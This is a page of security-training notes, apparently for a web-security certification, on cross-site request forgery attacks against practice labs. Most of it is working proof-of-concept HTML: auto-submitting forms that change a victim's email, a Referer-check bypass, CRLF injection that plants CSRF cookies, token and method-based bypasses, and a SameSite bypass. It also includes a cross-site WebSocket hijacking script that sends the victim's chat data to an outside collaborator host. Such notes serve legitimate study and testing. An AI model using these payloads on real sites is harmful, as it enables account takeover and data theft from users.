> For the complete documentation index, see [llms.txt](https://oscp-7.gitbook.io/bscp-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://oscp-7.gitbook.io/bscp-notes/stage-2/csrf.md).

# CSRF

#### Basic usage

CSRF conditions:

1. Relevant action like change mail
2. cookie-based session handling
3. no unpredictable request parameters

**Identify a Vulnerable Action**

* Find an action on the target web application that requires authentication and can be executed via a simple HTTP request (e.g., form submissions, changing user settings, transferring funds, etc.).
* Common targets include:
  * Form submissions (changing email, password).
  * Sensitive actions like transferring funds or making purchases.
  * Any action that requires the user to be logged in.

**2. Check for Lack of CSRF Protection**

* Confirm that the web application does not include anti-CSRF tokens in the request. Common CSRF protection mechanisms include:
  * **CSRF tokens**: Unique tokens embedded in forms or URLs that must be submitted with requests.
  * **SameSite cookie**: Cookies marked as `SameSite` prevent CSRF attacks because they are not sent with cross-origin requests.

If none of these protections are in place, the application might be vulnerable to CSRF.

**3. Capture the Legitimate Request**

* Using a tool like **Burp Suite** or browser developer tools, capture the legitimate request that performs the sensitive action (e.g., submitting a form, changing user details).
* Look at the method (`GET`, `POST`), URL, and parameters. A common CSRF target is a `POST` request that changes user data, but `GET` requests can also be vulnerable.

Example of a simple `POST` request to change an email address:

```http
POST /change-email HTTP/1.1
Host: vulnerable.com
Cookie: sessionid=12345
Content-Type: application/x-www-form-urlencoded

email=newemail@attacker.com
```

**4. Craft a Malicious HTML Form or Script**

* Create a malicious HTML page or script that automatically submits the request on behalf of the victim when they visit the page. This can be done by creating a hidden form that triggers a `POST` request or an image/link for `GET` requests.

If you're using [Burp Suite Professional](https://portswigger.net/burp/pro), right-click on the request and select Engagement tools / Generate CSRF PoC. Enable the option to include an auto-submit script and click "Regenerate".

#### Referer Validation CSRF

***Identify*** the change email function is vulnerable to CSRF by observing when the **Referer** header value is changed the response give message, `Invalid referer header`

> Adding original domain of target and append `history.pushState('', '', '/?TARGET.net');` to the **Referer header** in the form of a query string, allow the change email to update.

```
#header need to be present on the exploit server 
Referrer-Policy: unsafe-url

#header is accepted so it's possible to change mail from the exploit server
Referer: https://arbitrary-incorrect-domain.net?YOUR-LAB-ID.web-security-academy.net
```

```
<html>
  <!-- CSRF PoC -  CSRF with broken Referer validation -->
  <body>
    <form action="https://TARGET.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="hacker&#64;exploit&#45;net" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
    history.pushState('', '', '/?YOUR-LAB-ID.web-security-academy.net');
      document.forms[0].submit();
    </script>
  </body>
</html>
```

### No Referer needed

Add no-referrer meta tag inside body in POC to surpress  no referer

```
<meta name="referrer" content="no-referrer">
```

## CSRF where token is tied to non-session cookie

csrf and csrfKey is  tied together but no session cookie

1. need to inject csrf in the form of POC -> easy
2. find a way to inject csrfKey to the user -> harder
   1. Need an action with set-cookie parameters in response

```
<html>
  <body>
    <script>history.pushState('', '', '/')</script>
    <form action="https://TARGET.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="hacker&#64;exploit&#45;0a18002e03379f0ccf16180f01180022&#46;exploit&#45;server&#46;net" />
      <input type="hidden" name="csrf" value="48hizVRa9oJ1slhOIPljozUAjqDMdplb" />
      <input type="submit" value="Submit request" />
    </form>
	<img src="https://TARGET.net/?search=test%0d%0aSet-Cookie:%20csrfKey=NvKm20fiUCAySRSHHSgH7hwonb21oVUZ%3b%20SameSite=None" onerror="document.forms[0].submit()">    
  </body>
</html>
```

### CSRF duplicated

the value of the `csrf` body parameter is simply being validated by comparing it with the `csrf` cookie, so we can put any value to it, just put same value in the form and cookie set with search fn

```
<html>
  <body>
    <script>history.pushState('', '', '/')</script>
    <form action="https://TARGET.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="hacker&#64;exploit&#45;0a18002e03379f0ccf16180f01180022&#46;exploit&#45;server&#46;net" />
      <input type="hidden" name="csrf" value="fake" />
      <input type="submit" value="Submit request" />
    </form>
	<img src="https://TARGET.net/?search=test%0d%0aSet-Cookie:%20csrf=fake%3b%20SameSite=None" onerror="document.forms[0].submit()">    
  </body>
</html>
```

### Ignore CSRF Token&#x20;

Just POC without csrf

```
<form method="POST" action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email">
    <input type="hidden" name="$param1name" value="$param1value">
</form>
<script>
    document.forms[0].submit();
</script>
```

### Method change to bypass csrf token checks

GET /my-account/change-email?email=d%40d.d HTTP/2 Host: 0a2100d30342205281e74d70008b00fe.web-security-academy.net Cookie: session=EqmLZBceqoIkYKB1J1jdeWunTNUoP1Tf Cache-Control: max-age=0

#### Is Logged In

> If cookie with the **isloggedin** name is ***identified***, then a refresh of admin password POST request could be exploited. Change username parameter to administrator while logged in as low privilege user, CSRF where token is not tied to user session.

```
csrf=TOKEN&username=administrator
```

#### SameSite=Strict bypass

Cross-site WebSocket hijacking (also known as cross-origin WebSocket hijacking) involves a [cross-site request forgery](https://portswigger.net/web-security/csrf) (CSRF) vulnerability on a [WebSocket handshake](https://portswigger.net/web-security/websockets/what-are-websockets#how-are-websocket-connections-established). It arises when the WebSocket handshake request relies solely on HTTP cookies for session handling and does not contain any CSRF tokens or other unpredictable values.

```
<script>
    var ws = new WebSocket('wss://TARGET.net/chat');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://OASTIFY.COM', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>

<script>
    document.location = "https://cms-TARGET.net/login?username=ENCODED-POC-CSWSH-SCRIPT&password=Peanut2019";
</script>
```

SameSite=Lax bypass

Observe if you visit `/social-login`, this automatically initiates the full OAuth flow. If you still have a logged-in session with the OAuth server, this all happens without any interaction., and in proxy history, notice that every time you complete the OAuth flow, the target site sets a new session cookie even if you were already logged in.

```
<form method="POST" action="https://TARGET.net/my-account/change-email">
    <input type="hidden" name="email" value="administrator@exploit-server.net">
</form>
<p>Click anywhere on the page</p>
<script>
    window.onclick = () => {
        window.open('https://TARGET.net/social-login');
        setTimeout(changeEmail, 5000);
    }

    function changeEmail() {
        document.forms[0].submit();
    }
</script>
```
